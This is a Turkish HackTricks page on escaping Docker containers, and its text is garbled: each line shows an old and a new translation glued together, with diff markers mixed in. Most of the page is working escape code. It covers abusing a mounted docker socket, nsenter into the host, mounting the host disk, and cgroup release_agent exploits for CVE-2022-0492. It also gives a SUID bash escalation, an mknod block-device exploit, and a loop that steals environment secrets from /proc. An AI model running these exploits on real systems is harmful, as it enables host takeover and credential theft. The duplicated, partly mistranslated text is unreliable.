* Hacking hilelerinizi göndererek **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın. * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Otomatik Sıralama ve Kaçış ## Otomatik Numaralandırma ve Kaçış
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Ayrıca **konteynerleri sıralayabilir** * [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Ayrıca **konteynerleri numaralandırabilir**
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Bu araç, içinde bulunduğunuz konteyneri sıralamak ve hatta otomatik olarak kaçmaya çalışmak için oldukça **yararlıdır** * [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Bu araç, içinde bulunduğunuz konteyneri numaralandırmak için oldukça **yararlıdır ve hatta otomatik olarak kaçmaya çalışır**
* [**amicontained**](https://github.com/genuinetools/amicontained): Kaçmak için konteynerin sahip olduğu ayrıcalıkları bulmak için kullanışlı bir araç * [**amicontained**](https://github.com/genuinetools/amicontained): Konteynerin sahip olduğu ayrıcalıkları almak için kullanışlı bir araç, bundan kaçış yollarını bulmak için
* [**deepce**](https://github.com/stealthcopter/deepce): Konteynerleri sıralamak ve kaçmak için araç * [**deepce**](https://github.com/stealthcopter/deepce): Konteynerlerden numaralandırmak ve kaçmak için araç
* [**grype**](https://github.com/anchore/grype): Görüntüye yüklenen yazılımda bulunan CVE'leri alın * [**grype**](https://github.com/anchore/grype): Görüntüye yüklenen yazılımda bulunan CVE'leri alın
## Bağlanmış Docker Soketi Kaçışı ## Bağlanmış Docker Soketinden Kaçış
Eğer bir şekilde **docker soketinin bağlandığını** bulursanız, ondan kaçabilirsiniz.\ Eğer **bir şekilde docker soketinin** docker konteyneri içine bağlandığını bulursanız, bundan kaçabilirsiniz.\
Bu genellikle bazı nedenlerle docker konteynerlerinin eylemler gerçekleştirmek için docker daemon'a bağlanması gerektiği durumlarda olur. Bu genellikle, bir nedenle docker işlemlerini gerçekleştirmek için docker daemonına bağlanması gereken docker konteynerlerinde meydana gelir.
```bash ```bash
#Search the socket #Search the socket
find / -name docker.sock 2>/dev/null find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock #It's usually in /run/docker.sock
``` ```
Bu durumda, docker komutlarını kullanarak docker daemon ile iletişim kurabilirsiniz: Bu durumda, docker daemon ile iletişim kurmak için düzenli docker komutlarını kullanabilirsiniz:
```bash ```bash
#List images to use one #List images to use one
docker images docker images
@ -54,10 +54,10 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
``` ```
{% hint style="info" %} {% hint style="info" %}
Eğer **docker soketi beklenmedik bir yerde** ise, yine de **`docker`** komutunu **`-H unix:///path/to/docker.sock`** parametresiyle kullanarak onunla iletişim kurabilirsiniz. Eğer **docker soketi beklenmedik bir konumda** bulunuyorsa, yine de **`docker`** komutunu **`-H unix:///path/to/docker.sock`** parametresi ile kullanarak iletişim kurabilirsiniz.
{% endhint %} {% endhint %}
Docker daemon ayrıca bir portta (varsayılan olarak 2375, 2376) dinleyebilir veya Systemd tabanlı sistemlerde Docker daemon ile iletişim Systemd soketi `fd://` üzerinden gerçekleşebilir. Docker daemon ayrıca bir portta dinleyebilir (varsayılan olarak 2375, 2376) veya Systemd tabanlı sistemlerde Docker daemon ile iletişim Systemd soketi `fd://` üzerinden gerçekleşebilir.
{% hint style="info" %} {% hint style="info" %}
Ayrıca, diğer yüksek seviye çalışma zamanlarının çalışma zamanı soketlerine dikkat edin: Ayrıca, diğer yüksek seviye çalışma zamanlarının çalışma zamanı soketlerine dikkat edin:
@ -70,15 +70,15 @@ Ayrıca, diğer yüksek seviye çalışma zamanlarının çalışma zamanı soke
* ... * ...
{% endhint %} {% endhint %}
## Yeteneklerin Kötüye Kullanılması ve Kaçış ## Yeteneklerin Kötüye Kullanımından Kaçınma
Konteynerin yeteneklerini kontrol etmelisiniz, eğer aşağıdakilerden herhangi birine sahipse, ondan kaçabilirsiniz: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** Konteynerin yeteneklerini kontrol etmelisiniz, eğer aşağıdaki yeteneklerden herhangi birine sahipse, ondan kaçabilirsiniz: **`CAP_SYS_ADMIN`**, **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
Mevcut konteyner yeteneklerini **önceden bahsedilen otomatik araçlar** veya aşağıdaki komutu kullanarak kontrol edebilirsiniz: Şu anda konteyner yeteneklerini kontrol edebilirsiniz **daha önce bahsedilen otomatik araçlar** veya:
```bash ```bash
capsh --print capsh --print
``` ```
Aşağıdaki sayfada, linux yetenekleri hakkında daha fazla bilgi edinebilir ve bunları kötüye kullanarak ayrıcalıkları kaçırabilir/yükselebilirsiniz: Aşağıdaki sayfada **linux yetenekleri** hakkında daha fazla bilgi edinebilir ve bunları kötüye kullanarak ayrıcalıklardan kaçınabilir/aitalabilirsiniz:
{% content-ref url="../../linux-capabilities.md" %} {% content-ref url="../../linux-capabilities.md" %}
[linux-capabilities.md](../../linux-capabilities.md) [linux-capabilities.md](../../linux-capabilities.md)
@ -86,7 +86,7 @@ Aşağıdaki sayfada, linux yetenekleri hakkında daha fazla bilgi edinebilir ve
## Ayrıcalıklı Konteynerden Kaçış ## Ayrıcalıklı Konteynerden Kaçış
Ayrıcalıklı bir konteyner, `--privileged` bayrağıyla veya belirli savunmaları devre dışı bırakarak oluşturulabilir: Ayrıcalıklı bir konteyner, `--privileged` bayrağı ile oluşturulabilir veya belirli savunmalar devre dışı bırakılarak oluşturulabilir:
* `--cap-add=ALL` * `--cap-add=ALL`
* `--security-opt apparmor=unconfined` * `--security-opt apparmor=unconfined`
@ -98,7 +98,7 @@ Ayrıcalıklı bir konteyner, `--privileged` bayrağıyla veya belirli savunmala
* `--cgroupns=host` * `--cgroupns=host`
* `/dev` bağlama * `/dev` bağlama
`--privileged` bayrağı, konteyner güvenliğini önemli ölçüde düşürerek **sınırsız cihaz erişimi** sunar ve **birçok korumayı atlar**. Detaylı bir açıklama için, `--privileged`'in tam etkileri hakkındaki belgelere başvurun. `--privileged` bayrağı, konteyner güvenliğini önemli ölçüde düşürür, **sınırsız cihaz erişimi** sunar ve **birçok korumayı atlar**. Detaylı bir açıklama için, `--privileged`'ın tam etkileri hakkındaki belgelendirmeye başvurun.
{% content-ref url="../docker-privileged.md" %} {% content-ref url="../docker-privileged.md" %}
[docker-privileged.md](../docker-privileged.md) [docker-privileged.md](../docker-privileged.md)
@ -106,36 +106,36 @@ Ayrıcalıklı bir konteyner, `--privileged` bayrağıyla veya belirli savunmala
### Privileged + hostPID ### Privileged + hostPID
Bu izinlerle, sadece root olarak çalışan bir işlemin (pid:1) ad alanına geçebilirsiniz, örneğin init, sadece şunu çalıştırarak: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` Bu izinlerle, sadece şu komutu çalıştırarak (pid:1 gibi) ana makinede kök olarak çalışan bir işlemin ad alanına geçebilirsiniz: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
Bunu bir konteynerde test etmek için şunu çalıştırın: Bunu bir konteynerde test ederek çalıştırın:
```bash ```bash
docker run --rm -it --pid=host --privileged ubuntu bash docker run --rm -it --pid=host --privileged ubuntu bash
``` ```
### Ayrıcalıklı ### Ayrıcalıklı
Sadece ayrıcalıklı bayrağıyla, **ana bilgisayarın diskine erişmeyi** veya **release\_agent veya diğer kaçışları kötüye kullanarak kaçmayı** deneyebilirsiniz. Sadece ayrıcalıklı bayrağı ile **ana bilgisayarın diskinde erişim deneyebilirsiniz** veya **release\_agent veya diğer kaçışları kötüye kullanarak kaçmaya çalışabilirsiniz**.
Aşağıdaki bypassları bir konteynerde test etmek için şunları çalıştırın: Aşağıdaki atlatmaları bir konteynerde çalıştırarak test edin:
```bash ```bash
docker run --rm -it --privileged ubuntu bash docker run --rm -it --privileged ubuntu bash
``` ```
#### Diski Mount Etme - Poc1 #### Diski Bağlama - Poc1
İyi yapılandırılmış docker konteynerleri, **fdisk -l** gibi komutlara izin vermez. Ancak, yanlış yapılandırılmış bir docker komutunda `--privileged` veya `--device=/dev/sda1` bayrağı ile birlikte caps belirtilirse, ana makinedeki sürücüyü görmek için ayrıcalıklara sahip olmak mümkündür. İyi yapılandırılmış docker konteynerleri **fdisk -l** gibi komutlara izin vermez. Ancak yanlış yapılandırılmış bir docker komutunda `--privileged` veya `--device=/dev/sda1` bayrağı belirtildiğinde, ana sürücüyü görmek için ayrıcalıkları almak mümkündür.
![](https://bestestredteam.com/content/images/2019/08/image-16.png) ![](https://bestestredteam.com/content/images/2019/08/image-16.png)
Bu nedenle, ana makineyi ele geçirmek oldukça basittir: Bu nedenle, ana makineyi ele geçirmek basittir:
```bash ```bash
mkdir -p /mnt/hola mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola mount /dev/sda1 /mnt/hola
``` ```
Ve işte! Şimdi, ana bilgisayarın dosya sistemine `/mnt/hola` klasöründe bağlanabilirsiniz. Ve işte! Artık ana bilgisayarın dosya sistemine `/mnt/hola` klasöründe bağlanabilirsiniz.
#### Disk Bağlama - Poc2 #### Disk Bağlama - Poc2
Kapsayıcı içinde, saldırgan küme tarafından oluşturulan yazılabilir bir hostPath birimi aracılığıyla altta yatan ana işletim sistemine daha fazla erişim elde etmeye çalışabilir. Aşağıda, bu saldırgan vektörünü kullanıp kullanmadığınızı kontrol etmek için kapsayıcı içinde kontrol edebileceğiniz yaygın bazı şeyler bulunmaktadır: Kapsayıcı içinde, bir saldırgan kümenin oluşturduğu yazılabilir hostPath birimini kullanarak altta yatan ana bilgisayar işletim sistemine daha fazla erişim elde etmeye çalışabilir. Aşağıda, bu saldırgan vektörünü kullanarak kontrol edebileceğiniz yaygın bazı şeyler bulunmaktadır:
```bash ```bash
### Check if You Can Write to a File-system ### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger echo 1 > /proc/sysrq-trigger
@ -156,9 +156,9 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
### debugfs (Interactive File System Debugger) ### debugfs (Interactive File System Debugger)
debugfs /dev/sda1 debugfs /dev/sda1
``` ```
#### Mevcut release\_agent'i kötüye kullanarak ayrıcalıklı kaçış ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 #### Yetkilendirilmiş Kaçış Varolan release\_agent Kullanımı ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
{% code title="İlk PoC" %} {% code title="Başlangıç PoC" %}
```bash ```bash
# spawn a new container to exploit via: # spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash # docker run --rm -it --privileged ubuntu bash
@ -192,11 +192,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
# Reads the output # Reads the output
cat /o cat /o
``` ```
{% endcode %} #### Oluşturulan release_agent'i Kullanarak Ayrıcalıklı Kaçış ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
#### Oluşturulan release\_agent'i Kullanarak Yetkili Kaçışı Yapma ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
{% code title="İkinci PoC" %}
```bash ```bash
# On the host # On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
@ -240,15 +236,15 @@ cat /output
``` ```
{% endcode %} {% endcode %}
Tekniğin açıklamasını bulun: Teknik açıklamanın **bir açıklamasını** bulun:
{% content-ref url="docker-release_agent-cgroups-escape.md" %} {% content-ref url="docker-release_agent-cgroups-escape.md" %}
[docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md) [docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md)
{% endcontent-ref %} {% endcontent-ref %}
#### Bilinen bir yol olmadan release\_agent'i suiistimal ederek Privilege Escape - PoC3 #### Bilinen yol olmadan release\_agent'i kötüye kullanarak Yetkilendirilmiş Kaçış - PoC3
Önceki saldırılarda, **konumun mutlak yolu** ortaya çıkarılmıştır. Ancak, her zaman böyle olmaz. Eğer **konumun mutlak yolunu bilmiyorsanız**, bu teknik kullanılabilir: Önceki saldırılarda **konumunun kesin yolu ana bilgisayar dosya sisteminde ifşa edilmiştir**. Bununla birlikte, bu her zaman geçerli değildir. **Ana bilgisayar içinde konteynerin kesin yolunu bilmediğiniz durumlarda** bu tekniği kullanabilirsiniz:
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %} {% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md) [release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
@ -312,7 +308,7 @@ sleep 1
echo "Done! Output:" echo "Done! Output:"
cat ${OUTPUT_PATH} cat ${OUTPUT_PATH}
``` ```
Ayrıcalıklı bir konteyner içinde PoC'yi çalıştırmak, benzer bir çıktı sağlamalıdır: Ayrıcalıklı bir konteyner içinde PoC'yi çalıştırmak benzer bir çıktı sağlamalıdır:
```bash ```bash
root@container:~$ ./release_agent_pid_brute.sh root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100 Checking pid 100
@ -340,33 +336,33 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
... ...
``` ```
#### Hassas Mountları Kötüye Kullanarak Yetkili Kaçışı #### Ayrıcalıklı Kaçış Hassas Bağlantı Noktalarını Kötüye Kullanma
Altta yatan ana bilgisayar hakkında bilgi veren birkaç dosya mevcuttur. Bunlardan bazıları, ana bilgisayarın bir şey olduğunda çalıştırılmasını gerektirebilir (bu da saldırganın konteynerden kaçmasına izin verecektir).\ Altta yatan ana bilgisayar hakkında bilgi veren **bazı dosyalar bağlanabilir**. Bunlardan bazıları, hatta **ana bilgisayarın bir şey gerçekleştiğinde bir şeyi yürütmesini işaret edebilir** (bu da bir saldırganın konteynerden kaçmasına izin verebilir).\
Bu dosyaların kötüye kullanımı, şunlara izin verebilir: Bu dosyaların kötüye kullanımı şunu mümkün kılar:
* release\_agent (daha önce ele alındı) - release\_agent (zaten önce ele alındı)
* [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc) - [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
* [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern) - [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern)
* [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper) - [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
* [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) - [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
Ancak, bu sayfada kontrol etmek için **diğer hassas dosyaları** bulabilirsiniz: Ancak, bu sayfada kontrol etmek için **başka hassas dosyalar** bulabilirsiniz:
{% content-ref url="sensitive-mounts.md" %} {% content-ref url="sensitive-mounts.md" %}
[sensitive-mounts.md](sensitive-mounts.md) [sensitive-mounts.md](sensitive-mounts.md)
{% endcontent-ref %} {% endcontent-ref %}
### Rastgele Mountlar ### Keyfi Bağlantı Noktaları
Birkaç durumda, **konteynerin ana bilgisayardan bir hacim bağlandığını** göreceksiniz. Bu hacim doğru şekilde yapılandırılmamışsa, **hassas verilere erişebilir/değiştirebilirsiniz**: Gizli bilgileri okuyun, ssh authorized\_keys'ı değiştirin... Birkaç durumda, **konteynerin ana bilgisayardan birim bağlandığını göreceksiniz**. Bu birim doğru şekilde yapılandırılmamışsa, **duyarlı verilere erişebilir/değiştirebilirsiniz**: Gizli bilgileri okuyun, ssh authorized\_keys dosyasını değiştirin...
```bash ```bash
docker run --rm -it -v /:/host ubuntu bash docker run --rm -it -v /:/host ubuntu bash
``` ```
### 2 kabuk ve ana bilgisayar bağlantısı ile Yetki Yükseltme ### 2 kabuk ve ana makine bağlantısı ile ayrıcalık yükseltme
Eğer **bir konteyner içinde root erişimine** sahipseniz ve ana bilgisayardan bazı klasörlerin bağlandığı bir konteyneriniz varsa ve **sınırlı yetkili bir kullanıcı olarak ana bilgisayara kaçmayı başardıysanız** ve bağlanmış klasöre okuma erişiminiz varsa.\ Eğer **bir konteyner içinde root erişiminiz** varsa ve ana makineden bir klasör bağlanmışsa ve **ana makinede ayrıcalıklı olmayan bir kullanıcı olarak kaçtıysanız** ve bağlanmış klasör üzerinde okuma erişiminiz varsa.\
Konteynerin içindeki **bağlanmış klasöre bir bash suid dosyası** oluşturabilir ve **ana bilgisayardan** bu dosyayı çalıştırarak yetki yükseltebilirsiniz. **Konteyner** içinde **bağlanmış klasörde** bir **bash suid dosyası** oluşturabilir ve **ana makineden** bu dosyayı çalıştırarak ayrıcalık yükseltebilirsiniz.
```bash ```bash
cp /bin/bash . #From non priv inside mounted folder cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container # You need to copy it from the host as the bash binaries might be diferent in the host and in the container
@ -374,14 +370,13 @@ chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder bash -p #From non priv inside mounted folder
``` ```
### 2 kabukla Ayrıcalık Yükseltme ### 2 kabuk ile Ayrıcalık Yükseltme
Eğer bir konteyner içinde **root erişimine** sahipseniz ve bir **yetkisiz kullanıcı olarak ana bilgisayara kaçmayı başardıysanız**, konteyner içindeki MKNOD yeteneğini (varsayılan olarak mevcuttur) kullanarak hem konteyner içinde hem de ana bilgisayarda **ayrıcalık yükseltebilirsiniz**. Bu, [**bu yazıda açıklandığı gibi**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) mümkündür.\ Eğer bir konteyner içinde **root erişiminiz** var ve **özelliği olmayan bir kullanıcı olarak ana makineye kaçtıysanız**, konteyner içinde MKNOD yeteneğine sahipseniz (varsayılan olarak vardır) her iki kabuğu da kötüye kullanarak ana makinede **aşağı doğru ayrıcalık yükseltebilirsiniz**. Bu yetenekle, konteyner içindeki root kullanıcısına **blok cihaz dosyaları oluşturma izni** verilir. Cihaz dosyaları, **altta yatan donanıma ve çekirdek modüllere erişmek** için kullanılan özel dosyalardır. Örneğin, /dev/sda blok cihaz dosyası, **sistemin diskindeki ham verilere erişim sağlar**.
Bu yetenekle birlikte, konteyner içindeki root kullanıcısı **blok cihaz dosyaları oluşturabilir**. Cihaz dosyaları, **altta yatan donanım ve çekirdek modüllerine erişmek** için kullanılan özel dosyalardır. Örneğin, /dev/sda blok cihaz dosyası, sistem diskindeki ham verilere **okuma erişimi sağlar**.
Docker, konteynerler içinde blok cihazlarının yanlış kullanımına karşı koruma sağlamak için bir cgroup politikası uygulayarak **blok cihazı okuma/yazma işlemlerini engeller**. Bununla birlikte, bir blok cihazı **konteyner içinde oluşturulursa**, bu cihaz dışarıdan **/proc/PID/root/** dizini üzerinden erişilebilir hale gelir. Bu erişim, sürecin sahibinin hem konteyner içinde hem de dışında aynı olmasını gerektirir. Docker, konteynerler içinde blok cihazlarının kötüye kullanımına karşı koruma sağlamak için **blok cihazı okuma/yazma işlemlerini engelleyen** bir cgroup politikası uygular. Bununla birlikte, bir blok cihazı **konteyner içinde oluşturulursa**, dışarıdan **/proc/PID/root/** dizini aracılığıyla erişilebilir hale gelir. Bu erişim, içeride ve dışarıda aynı olan **işlem sahibine** gereksinim duyar.
Bu [**yazıda**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/) verilen örnekteki **sömürü** örneği: Bu [**yazıda**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames) verilen **sömürü** örneği:
```bash ```bash
# On the container as root # On the container as root
cd / cd /
@ -419,13 +414,13 @@ HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
``` ```
### hostPID ### hostPID
Eğer hedef makinenin işlemlerine erişebiliyorsanız, bu işlemlerde depolanan hassas bilgilere erişebilirsiniz. Test laboratuvarını çalıştırın: Eğer ana makinenin işlemlerine erişebilirseniz, bu işlemlerde saklanan birçok hassas bilgiye erişebileceksiniz demektir. Test laboratuvarını çalıştırın:
``` ```
docker run --rm -it --pid=host ubuntu bash docker run --rm -it --pid=host ubuntu bash
``` ```
Örneğin, `ps auxn` gibi bir şey kullanarak işlemleri listeleyebilir ve komutlarda hassas bilgiler arayabilirsiniz. Örneğin, `ps auxn` gibi bir şey kullanarak süreçleri listeleyebilecek ve komutlardaki hassas detayları arayabileceksiniz.
Ardından, **/proc/ içindeki her bir işleme erişebileceğiniz için, env gizliliklerini çalmak için** şunları çalıştırabilirsiniz: Ardından, **/proc/ içindeki ana bilgisayarın her sürecine erişebileceğiniz için sadece çevre sırlarını çalabilirsiniz** çalıştırarak:
```bash ```bash
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ /proc/988058/environ
@ -434,7 +429,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd USER=abrgocd
... ...
``` ```
Diğer işlemlerin dosya tanımlayıcılarına erişebilir ve açık dosyalarını okuyabilirsiniz: Ayrıca **diğer işlemlerin dosya tanımlayıcılarına erişebilir ve açık dosyalarını okuyabilirsiniz**:
```bash ```bash
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt less fds.txt
@ -444,85 +439,85 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with: # You can open the secret filw with:
cat /proc/635813/fd/4 cat /proc/635813/fd/4
``` ```
Ayrıca **süreçleri sonlandırabilir ve bir DoS saldırısı yapabilirsiniz**. Ayrıca **işlemleri sonlandırabilir ve Bir Hizmet Reddine (DoS) neden olabilirsiniz**.
{% hint style="warning" %} {% hint style="warning" %}
Eğer bir şekilde **konteyner dışındaki bir sürece ayrıcalıklı erişiminiz varsa**, `nsenter --target <pid> --all` veya `nsenter --target <pid> --mount --net --pid --cgroup` gibi bir komut çalıştırarak, umarım hiçbir kısıtlama olmadan aynı ns kısıtlamalarıyla bir kabuk çalıştırabilirsiniz. Eğer bir şekilde **konteyner dışındaki bir işlem üzerinde ayrıcalıklı erişiminiz varsa**, `nsenter --target <pid> --all` veya `nsenter --target <pid> --mount --net --pid --cgroup` gibi bir şey çalıştırabilirsiniz **aynı ns kısıtlamalarına sahip bir kabuk çalıştırmak için** (umarım hiçbiri).
{% endhint %} {% endhint %}
### hostNetwork ### hostNetwork
``` ```
docker run --rm -it --network=host ubuntu bash docker run --rm -it --network=host ubuntu bash
``` ```
Eğer bir konteyner Docker [ana ağ sürücüsüyle (`--network=host`)](https://docs.docker.com/network/host/) yapılandırılmışsa, bu konteynerin ağ yığını Docker ana bilgisayardan izole edilmez (konteyner ana bilgisayarın ağ ad alanını paylaşır) ve konteynerin ayrı bir IP adresi tahsis edilmez. Başka bir deyişle, **konteyner tüm hizmetleri doğrudan ana bilgisayarın IP'sine bağlar**. Ayrıca, konteyner, paylaşılan arayüz üzerinden gönderilen ve alınan **tüm ağ trafiğini yakalayabilir** (`tcpdump -i eth0`). Eğer bir konteyner Docker [ana ağ sürücüsüyle yapılandırılmışsa (`--network=host`)](https://docs.docker.com/network/host/), o konteynerin ağ yığını Docker ana bilgisayarından izole edilmez (konteyner ana bilgisayarın ağ ad alanını paylaşır) ve konteynere ayrı bir IP adresi atanmaz. Başka bir deyişle, **konteyner tüm hizmetleri doğrudan ana bilgisayarın IP'sine bağlar**. Ayrıca konteyner, paylaşılan arayüz üzerinden gönderilen ve alınan **TÜM ağ trafiğini yakalayabilir `tcpdump -i eth0`**.
Örneğin, bu yöntemi kullanarak ana bilgisayar ve meta veri örneği arasındaki trafiği **dinleyebilir ve hatta sahteleyebilirsiniz**. Örneğin, bunu kullanarak ana bilgisayar ve meta veri örneği arasındaki trafiği **dinleyebilir ve hatta sahtecilik yapabilirsiniz**.
Aşağıdaki örneklerde olduğu gibi: Aşağıdaki örneklerde olduğu gibi:
* [Yazı: Google SRE ile iletişim kurma: Bulut SQL'de kabuk bırakma](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) * [ıklama: Google SRE ile nasıl iletişime geçilir: Bir kabuk bırakma bulut SQL'de](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
* [Meta veri hizmeti MITM, kök ayrıcalıklarının yükseltilmesine izin verir (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/) * [Meta veri servisi MITM, kök ayrıcalık yükseltmesine izin verir (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
Ayrıca, ana bilgisayar içinde **localhost'a bağlı ağ hizmetlerine erişebilir** veya hatta **düğümün meta veri izinlerine** (bir konteynerin erişebileceğinden farklı olabilir) erişebilirsiniz. Ayrıca, ana bilgisayar içinde **localhost'a bağlı ağ hizmetlerine erişebilecek** veya hatta **düğümün meta veri izinlerine** erişebileceksiniz (bu, bir konteynerin erişebileceğinden farklı olabilir).
### hostIPC ### hostIPC
```bash ```bash
docker run --rm -it --ipc=host ubuntu bash docker run --rm -it --ipc=host ubuntu bash
``` ```
`hostIPC=true` ile, **/dev/shm** içindeki **paylaşılan bellek** gibi ana bilgisayarın süreçler arası iletişim (IPC) kaynaklarına erişim sağlarsınız. Bu, aynı IPC kaynaklarının diğer ana bilgisayar veya pod süreçleri tarafından kullanıldığı yerlerde okuma/yazma yapmanıza olanak tanır. Bu IPC mekanizmalarını daha ayrıntılı olarak incelemek için `ipcs` komutunu kullanın. `hostIPC=true` ile, ana bilgisayarın ara işlem iletişimi (IPC) kaynaklarına, örneğin `/dev/shm` içindeki **paylaşılan bellek** gibi, erişim elde edersiniz. Bu, aynı IPC kaynaklarının diğer ana bilgisayar veya kapsül süreçleri tarafından kullanıldığı yerlerde okuma/yazma yapmanıza olanak tanır. Bu IPC mekanizmalarını daha ayrıntılı incelemek için `ipcs` kullanın.
* **/dev/shm'yi inceleyin** - Bu paylaşılan bellek konumunda herhangi bir dosyayı arayın: `ls -la /dev/shm` * **/dev/shm'yi İnceleyin** - Bu paylaşılan bellek konumunda herhangi bir dosyayı arayın: `ls -la /dev/shm`
* **Mevcut IPC tesislerini inceleyin** - `/usr/bin/ipcs` ile kullanılan herhangi bir IPC tesisi olup olmadığını kontrol edebilirsiniz. Şu şekilde kontrol edin: `ipcs -a` * **Mevcut IPC tesislerini İnceleyin** - Kullanılan herhangi bir IPC tesisinin olup olmadığını `/usr/bin/ipcs` ile kontrol edebilirsiniz. Bunu şu şekilde kontrol edin: `ipcs -a`
### Yetenekleri Kurtar ### Yetenekleri Kurtarın
Syscall **`unshare`** yasaklanmamışsa, tüm yetenekleri kurtarabilirsiniz: Eğer **`unshare`** sistem çağrısı yasaklanmamışsa, tüm yetenekleri kurtarabilirsiniz:
```bash ```bash
unshare -UrmCpf bash unshare -UrmCpf bash
# Check them with # Check them with
cat /proc/self/status | grep CapEff cat /proc/self/status | grep CapEff
``` ```
### Simgeleme aracılığıyla kullanıcı ad alanı kötüye kullanımı ### Kullanıcı ad alanı kötüye kullanımı simge bağlantısı aracılığıyla
